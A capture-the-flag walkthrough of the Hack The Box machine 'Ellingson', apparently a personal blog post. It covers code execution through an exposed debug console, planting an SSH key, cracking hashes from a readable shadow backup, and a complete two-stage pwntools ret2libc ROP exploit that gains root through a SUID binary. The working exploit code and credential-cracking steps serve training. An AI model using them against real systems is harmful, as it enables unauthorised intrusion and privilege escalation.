This was for sure one awesome hackers-themed box. Although I did not realise that at first. Nevertheless, as with any box, I start with a port scan.
root@kalivm:~/Ellingson# nmap -sCV -p 1-65535 -oN fullscan_tcp 10.10.10.139 Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-27 12:07 CEST Nmap scan report for 10.10.10.139 Host is up (0.016s latency). Not shown: 65533 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 49:e8:f1:2a:80:62:de:7e:02:40:a1:f4:30:d2:88:a6 (RSA) | 256 c8:02:cf:a0:f2:d8:5d:4f:7d:c7:66:0b:4d:5d:0b:df (ECDSA) |_ 256 a5:a9:95:f5:4a:f4:ae:f8:b6:37:92:b8:9a:2a:b4:66 (ED25519) 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-server-header: nginx/1.14.0 (Ubuntu) | http-title: Ellingson Mineral Corp |_Requested resource was http://10.10.10.139/index Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done: 1 IP address (1 host up) scanned in 240.92 seconds
So there is nothing that really stands out, hence it is time to visit the website and check if it contains any vulnerabilities that can be abused.
After visiting the site, the first part did not directly ring a bell, until I came up to the meet the team page.
This is a box themed after the 1995 Hackers movie. It contained several pages but running a gobuster scan yielded nothing of particular interest. So manual browsing and checking would be the way to go.
Some further browsing, I came up on the articles pages. Through the articles on the site, some additional information was provided on how ‘the hack’ occurred, this might be of use later.
Message 1: A recent unknown intruder penetrated using a super user account giving him access to our entire system. Yesterday the ballest program for a supertanker training model mistakenly thought the vessel was empty and flooded it's tanks. This caused the vessel to capsize, a virus planted within the Ellingson system claimed responsibility and threatened to capsize more vessels unless five million dollars are transfered to their accounts. Message 2: Due to the recent security issues we have implemented protections to block brute-force attacks against network services. As a result if you attempt to log into a service more then 5 times in 1 minute you will have your access blocked for 5 minutes. Additional malicious activity may also result in your connection being blocked, please keep this in mind and do not request resets if you lock yourself out ... take the 5 minutes and ponder where you went wrong :) Message 3: We have recently detected suspicious activity on the network. Please make sure you change your password regularly and read my carefully prepared memo on the most commonly used passwords. Now as I so meticulously pointed out the most common passwords are. Love, Secret, Sex and God -The Plague
And that confirmed my suspicion that it was Hackers themed. Eugene ‘The Plague’ Belford was the Security Officer and apparently has had some security issues!
The fact that something was misconfigured was confirmed after I tried to open the fourth message, it was not there and caused an list index out of range Python error. More importantly, it gave access to a Traceback with Terminal function, this could become interesting.
[console ready] >>> import subprocess >>> subprocess.check_output(['id']) b'uid=1001(hal) gid=1001(hal) groups=1001(hal),4(adm)\n'
Using the traceback function, I can now use python as if I am on the system and apparently the app runs as user ‘hal’, Time to check out if I can do something more fancy.
>>> import os >>> os.listdir('/home/hal/') ['.profile', '.bashrc', '.ssh', '.local', '.config', '.gnupg', '.bash_logout', '.viminfo', ] >>> os.listdir('/home/hal/.ssh') ['id_rsa', 'authorized_keys']
So we can also list files and my guess would be we can also read them. But can we perhaps write to the authorized keys file and gain access to the box?
>>> f=open("/home/hal/.ssh/authorized_keys","w+") >>> f.write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDgNGcZyGpAql1KZz6SMQHLUl/T8uZ24G7rU2Xj0/EVGlsE+MwcZvEzJ40Zu3hdwPPdDlJpmnGsH9FgV1ps+4eoS74wkTJEH85wGupQPipLTpmk0sWg1ef2Yd77+9wD99lUoLBMU7CXiYVtC+Q1A+SupnC5dafa1+m9zNVpykHA/wTClCBpgZrEMjwmB5bK0a0k63thknVO2O3kJfBEZKSDki7rXtrtVVq26OHLpPsGuDNm6Z+qkcnM4uI8w9fWs0dPViZy8FddOoTyAjQYtFtTklmtve4enehL8klG4fI83pUc00cTn0mUtLOTcoGTdrtovJWvlFHsqq7V8jUtlLAmBROtYAhV4IJu7qO22B7bBlvUOL5yqyWj3bgphUdWHf3Mvztf9xzwmwc9bOc82Ds45uuCVo1qELuW8PUf13AbkTmSpxX+EBT+IumhqgCxer2/dvI0NhTaDc2eajsChDa+idVo91yEgYqWRfvaeW10hriMYc+JyDF27svFswf+8v8= root@kalivm") 564 >>> f.close() >>> f=open("/home/hal/.ssh/authorized_keys","r").read() >>> open("/home/hal/.ssh/authorized_keys","r").read() 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDgNGcZyGpAql1KZz6SMQHLUl/T8uZ24G
Apparently I have just been able to write my ssh key to the authorized keys file which mean I should be able to log in.
root@kalivm:~/Ellingson# ssh -i ellingson.key firstname.lastname@example.org Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-46-generic x86_64) ----snip---- Last login: Sat Sep 28 21:27:36 2019 from 10.10.15.206 hal@ellingson:~$ ls hal@ellingson:~$
Nice! That worked. Hal has nothing else in his home directory though, so time to see if we can find any other users and perhaps have to escalate to them.
hal@ellingson:~$ grep bash /etc/passwd root:x:0:0:root:/root:/bin/bash theplague:x:1000:1000:Eugene Belford:/home/theplague:/bin/bash hal:x:1001:1001:,,,:/home/hal:/bin/bash margo:x:1002:1002:,,,:/home/margo:/bin/bash duke:x:1003:1003:,,,:/home/duke:/bin/bash
After some searching around for interesting processes, binaries and files, I came across the backups directory which had an odd permissions setting.
hal@ellingson:~$ ls -al /var/backups/ total 708 drwxr-xr-x 2 root root 4096 May 7 13:14 . drwxr-xr-x 14 root root 4096 Mar 9 2019 .. -rw-r--r-- 1 root root 61440 Mar 10 2019 alternatives.tar.0 -rw-r--r-- 1 root root 8255 Mar 9 2019 apt.extended_states.0 -rw-r--r-- 1 root root 437 Jul 25 2018 dpkg.diversions.0 -rw-r--r-- 1 root root 295 Mar 9 2019 dpkg.statoverride.0 -rw-r--r-- 1 root root 615441 Mar 9 2019 dpkg.status.0 -rw------- 1 root root 811 Mar 9 2019 group.bak -rw------- 1 root shadow 678 Mar 9 2019 gshadow.bak -rw------- 1 root root 1757 Mar 9 2019 passwd.bak -rw-r----- 1 root adm 1309 Mar 9 2019 shadow.bak
The shadow.bak file was not owned by shadow as it is supposed to be, but by group ‘adm’ which we had already seen, hal is a groupmember of. Lets take a look and see if any of the known users has an entry in that file.
hal@ellingson:~$ grep -E 'theplague|hal|margo|duke' /var/backups/shadow.bak theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:17964:0:99999:7::: hal:$6$UYTy.cHj$qGyl.fQ1PlXPllI4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30:17964:0:99999:7::: margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7::: duke:$6$bFjry0BT$OtPFpMfL/KuUZOafZalqHINNX/acVeIDiXXCPo9dPi1YHOp9AAAAnFTfEh.2AheGIvXMGMnEFl5DlTAbIzwYc/:17964:0:99999:7:::
So all password hashes are there! Time to put them through hashcat and see if there is any result. As I already had access to Hal’s account, I just removed that one and decided to let it run and after just second.
root@crackbox:~# hashcat -m 1800 -a0 -w3 ellingson.hashes ./rockyou.txt hashcat (v5.1.0) starting... $6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:password123
ThePlague’s password apparently has been password123. After trying it though, I did not get access to his account so apparently the password was changed. The next password took quite some time (about 15 minutes) but eventually.
Margo’s password was iamgod$08 but since the password for theplague had been changed, that might be the case with this password too.
root@kalivm:~/Ellingson# ssh email@example.com firstname.lastname@example.org's password: Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-46-generic x86_64) ----snip---- Last login: Sun Mar 10 22:02:27 2019 from 192.168.1.211 margo@ellingson:~$ ls user.txt
Nice, that works and a user.txt file is present in the home directory. Only one more step to go!
margo@ellingson:~$ cat user.txt d0ff9e3f<NOFLAG>aaa6c0bb73e45903
And I’ve got the user flag!
After gaining access to Margo’s account, I got stuck for a while because of simply overlooking things. After being put back on track I was pointed to look for a SUID file that relates to the movies.
margo@ellingson:~$ find / -perm -u=s -type f 2> /dev/null /usr/bin/at /usr/bin/newgrp /usr/bin/pkexec /usr/bin/passwd /usr/bin/gpasswd /usr/bin/garbage /usr/bin/newuidmap /usr/bin/sudo /usr/bin/traceroute6.iputils /usr/bin/chfn /usr/bin/newgidmap /usr/bin/chsh /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device /usr/lib/snapd/snap-confine /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic /bin/su /bin/umount /bin/ntfs-3g /bin/ping /bin/mount /bin/fusermount
With that pointer, it all became obvious in seconds which file that should have been, after all Joey retrieved some ‘garbage’ from The Gibson as proof that he was a sound hacker!
margo@ellingson:~$ garbage Enter access password:
When running it, it asks for a password, and I do not have that yet.
margo@ellingson:~$ strings $(which garbage) |grep password -A4 Enter access password: N3veRF3@r1iSh3r3! access granted. access denied. [+] W0rM || Control Application margo@ellingson:~$ garbage Enter access password: N3veRF3@r1iSh3r3! access granted. [+] W0rM || Control Application [+] --------------------------- Select Option 1: Check Balance 2: Launch 3: Cancel 4: Exit
Some simple strings analysis shows the password and grants access… however, nothing useful appears to be available within the application. After browsing through the HTB forums, it appeared that the application should be vulnerable to a buffer overflow.
margo@ellingson:~$ garbage Enter access password: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa access denied. Segmentation fault (core dumped)
Buffer overflow – Stage 1
After verifying on the box that it was indeed vulnerable, I decided to transfer it to my local machine for further analysis and seeing if I can abuse it.
root@kalivm:~/Ellingson/privesc# gdb ./garbage ----snip---- Reading symbols from ./garbage... (No debugging symbols found in ./garbage) gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial gdb-peda$ pattern create 200 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA' gdb-peda$ r Starting program: /root/Ellingson/privesc/garbage Enter access password:AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA access denied. Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x7f6894843504 (<__GI___libc_write+20>: cmp rax,0xfffffffffffff000) RDX: 0x7f68949168c0 --> 0x0 RSI: 0x124fc30 ("access denied.\nssword: ") RDI: 0x0 RBP: 0x6c41415041416b41 ('AkAAPAAl') RSP: 0x7fffa408af78 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA") RIP: 0x401618 (<auth+261>: ret) R8 : 0x7f689491b500 (0x00007f689491b500) R9 : 0x7f6894915848 --> 0x7f6894915760 --> 0xfbad2a84 R10: 0xfffffffffffff638 R11: 0x246 R12: 0x401170 (<_start>: xor ebp,ebp) R13: 0x7fffa408b070 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x40160d <auth+250>: call 0x401050 <puts@plt> 0x401612 <auth+255>: mov eax,0x0 0x401617 <auth+260>: leave => 0x401618 <auth+261>: ret 0x401619 <main>: push rbp 0x40161a <main+1>: mov rbp,rsp 0x40161d <main+4>: sub rsp,0x10 0x401621 <main+8>: mov eax,0x0 [------------------------------------stack-------------------------------------] 0000| 0x7fffa408af78 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA") 0008| 0x7fffa408af80 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA") 0016| 0x7fffa408af88 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA") 0024| 0x7fffa408af90 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA") 0032| 0x7fffa408af98 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA") 0040| 0x7fffa408afa0 ("AuAAXAAvAAYAAwAAZAAxAAyA") 0048| 0x7fffa408afa8 ("AAYAAwAAZAAxAAyA") 0056| 0x7fffa408afb0 ("ZAAxAAyA") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0000000000401618 in auth () => 0x0000000000401618 <auth+261>: c3 ret gdb-peda$ x/xg $rsp 0x7ffc7f5f5d18: 0x41416d4141514141 gdb-peda$ pattern offset 0x41416d4141514141 4702159612987654465 found at offset: 136
So now the offset is located at 136, from there on we should continue. In this attempt I actually combined some things that I learned on Hackthebox – Safe with the ROP based Buffer Overflow such as using the dynamic addresses instead of hard-coding them.
root@kalivm:~/Ellingson/privesc# objdump -D garbage |grep "puts@GLIBC" 401050: ff 25 d2 2f 00 00 jmpq *0x2fd2(%rip) # 404028 <puts@GLIBC_2.2.5>
According to the bitterman video, the next step is to find the puts location within the binary with objdump. In the video though, Ippsec already mentions that some of these addresses change every time. Therefore I do not want to hard-code them, instead, let the ELF() call take care of it as I learned from Safe.
root@kalivm:~/Ellingson/privesc# python Python 2.7.16+ (default, Sep 4 2019, 08:19:57) [GCC 9.2.1 20190827] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> from pwn import * >>> elf=ELF('garbage') [*] '/root/Ellingson/privesc/garbage' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) >>> p64(elf.symbols.plt.puts) 'P\x10@\x00\x00\x00\x00\x00' >>> p64(0x401050) 'P\x10@\x00\x00\x00\x00\x00' >>> p64(elf.symbols.got.puts) '(@@\x00\x00\x00\x00\x00' >>> p64(0x404028) '(@@\x00\x00\x00\x00\x00'
After confirming in a python terminal that I actually did understand using the ELF() call for reaching the same locations, I simply included those in my exploit.py file.
root@kalivm:~/Ellingson/privesc# ROPgadget --binary garbage |grep 'pop rdi' 0x000000000040179b : pop rdi ; ret
Since the bitterman approach for finding the
pop rdi call did not work, I used the approach from Safe with ROPgadget to find the pop rdi address and included that in the exploit.py. Followed the instructions as to sending the payload and got a first POC working. The exploit.py now contains the following:
#!/usr/bin/env python from pwn import * context(terminal=['tmux', 'new-window']) p = process('garbage') #p = gdb.debug('garbage', 'b main') context(os='linux', arch='amd64') #context.log level='DEBUG' elf = ELF('garbage') plt_put = p64(elf.symbols.plt.puts) got_put = p64(elf.symbols.got.puts) plt_main = p64(elf.symbols.main) #root@kalivm:~/privesc# ROPgadget --binary garbage |grep 'pop rdi' #0x000000000040179b : pop rdi ; ret pop_rdi = p64(0x40179b) junk = "A"*136 payload = junk + pop_rdi + got_put + plt_put +plt_main #Executing the exploit p.sendline(payload) p.recvuntil("denied.") leaked_puts = p.recv()[:8].strip().ljust(8, "\x00") log.success("Leaked address: "+ str(leaked_puts)) p.interactive()
Executing the exploit.py looks promising as it prints out a different random address each time it runs.
root@kalivm:~/Ellingson/privesc# ./exploit.py [+] Starting local process './garbage': pid 9226 [*] '/root/Ellingson/privesc/garbage' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Leaked address: \x10I\xb9l\x8e\x7f\x00\x00 [*] Switching to interactive mode $ x Enter access password: access denied. [*] Process './garbage' stopped with code 255 (pid 9226)
It nicely exits because of the incorrect password in the second run and does display a randomly leaked address in the first part. This means that the first stage of the exploit is actually ready for chaining it onto the second part.
Buffer overflow – Stage 2
The second part was actually a part where I got stuck for a long time. After trying over and over again to modify the code, I continued with the ROP() function from pwntools which altered my python script for stage 1 quite a bit too, according to the instruction on the last 10 minutes of the bitterman video.
#!/usr/bin/env python from pwn import * context(terminal=['tmux', 'new-window']) context(os="linux", arch="amd64") #context.log_level="DEBUG" elf = ELF('garbage') #LOCALSETUP p=process(elf.path) #ROPCHAIN1 rop= ROP(elf) pop_rdi = rop.search(regs=['rdi'], order ='regs') rop.puts(elf.got['puts']) log.info("Stage 1:\n" + rop.dump()) junk = "A"*136 payload = junk + str(rop) #SENDPAYLOAD1 p.sendline(payload) p.recvuntil('denied.') leaked_puts = p.recv()[:8].strip().ljust(8, "\x00") log.success("leaked puts@libc: " + str(leaked_puts))
So now I have to add a second ROP chain which calls the /bin/sh binary with a system() call from LIBC. So first we add libc as an ELF() call, so that we can easily extract the required addresses.
#STAGE2 libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') leaked_puts = u64(leaked_puts) libc.address = leaked_puts - libc.symbols['puts'] #ROPCHAIN2 rop2 = ROP(libc) rop2.system(next(libc.search('/bin/sh\x00'))) log.info("Stage 2\n" + rop2.dump()) payload = junk + str(rop2) #SENDPAYLOAD2 p.sendline(payload) p.interactive()
Now this is where I found out that I had actually made a big mistake. After being stuck for a long time, I was pointed towards the fact that using my own local Libc library would cause issues because address locations may be very different from those on the target system. So I SCP’ed the remote libc file to my local directory.
root@kalivm:~/Ellingson/privesc# scp email@example.com:/lib/x86_64-linux-gnu/libc.so.6 . firstname.lastname@example.org's password: libc.so.6 100% 1983KB 8.1MB/s 00:00
And changed the one line in my exploit to point to the correct libc file. Also, I added SSH connection requirements.
#REMOTESETUP s = ssh(host='ellingson.htb', user='margo', password='iamgod$08') p = s.process('/usr/bin/garbage') ----snip---- libc = ELF('libc.so.6') ----snip----
I ran the exploit and….
root@kalivm:~/Ellingson/privesc# ./exploit.py ----snip---- [*] Got EOF while reading in interactive $ [*] Stopped remote process 'garbage' on ellingson.htb (pid 4398) [*] Got EOF while sending in interactive
Got a weird EOF error… Not sure what was happening, I asked someone to take a look a the exploit code and after some discussion, he came with the suggestion that I was missing one critical element. The SetUID part should be part of the second ROP chain. As the person giving the hint, was not overly familiar with the ROP() functions in pwntools, I had to do some more searching which eventually pointed out that a setuid() function is available which just requires the UID that you want to set it to. After adding it my entire code looked as follows:
#!/usr/bin/env python from pwn import * context(terminal=['tmux', 'new-window']) context(os="linux", arch="amd64") #context.log_level="DEBUG" elf = ELF('garbage') #LOCALSETUP #p = process(elf.path) #REMOTESETUP s = ssh(host='ellingson.htb', user='margo', password='iamgod$08') p = s.process('/usr/bin/garbage') #ROPCHAIN1 rop = ROP(elf) pop_rdi = rop.search(regs=['rdi'], order ='regs') rop.puts(elf.got['puts']) rop.call(elf.symbols['main']) log.info("Stage 1:\n" + rop.dump()) junk = "A"*136 payload = junk + str(rop) #SENDPAYLOAD1 p.sendline(payload) p.recvuntil('denied.') leaked_puts = p.recv()[:8].strip().ljust(8, "\x00") log.success("leaked puts@libc: " + str(leaked_puts)) #STAGE2 libc = ELF('libc.so.6') leaked_puts = u64(leaked_puts) libc.address = leaked_puts - libc.symbols['puts'] #ROPCHAIN2 rop2 = ROP(libc) rop2.setuid(0) rop2.system(next(libc.search('/bin/sh\x00'))) log.info("Stage 2\n" + rop2.dump()) payload = junk + str(rop2) #SENDPAYLOAD2 p.sendline(payload) p.interactive()
Now all that is left is to PWN the ellingson system!
root@kalivm:~/Ellingson/privesc# ./exploit.py [*] '/root/Ellingson/privesc/garbage' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Connecting to ellingson.htb on port 22: Done [*] email@example.com: Distro Ubuntu 18.04 OS: linux Arch: amd64 Version: 4.15.0 ASLR: Enabled [+] Starting remote process '/usr/bin/garbage' on ellingson.htb: pid 4741 [*] Loaded cached gadgets for 'garbage' [*] Stage 1: 0x0000: 0x40179b pop rdi; ret 0x0008: 0x404028 [arg0] rdi = got.puts 0x0010: 0x401050 puts 0x0018: 0x401619 0x401619() [+] leaked puts@libc: ���8\x7f\x00\x00 [*] '/root/Ellingson/privesc/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] Loaded cached gadgets for 'libc.so.6' [*] Stage 2 0x0000: 0x7f381ddec55f pop rdi; ret 0x0008: 0x0 [arg0] rdi = 0 0x0010: 0x7f381deb0970 setuid 0x0018: 0x7f381ddec55f pop rdi; ret 0x0020: 0x7f381df7ee9a [arg0] rdi = 139878997683866 0x0028: 0x7f381de1a440 system [*] Switching to interactive mode access denied. # $ id uid=0(root) gid=1002(margo) groups=1002(margo)
UID=0! I’ve got root access! It worked! Now all that is left, is to get the flag!
# $ cd /root # $ ls root.txt # $ cat root.txt 1cc73a44<NOFLAG>aee6c029a3d2f997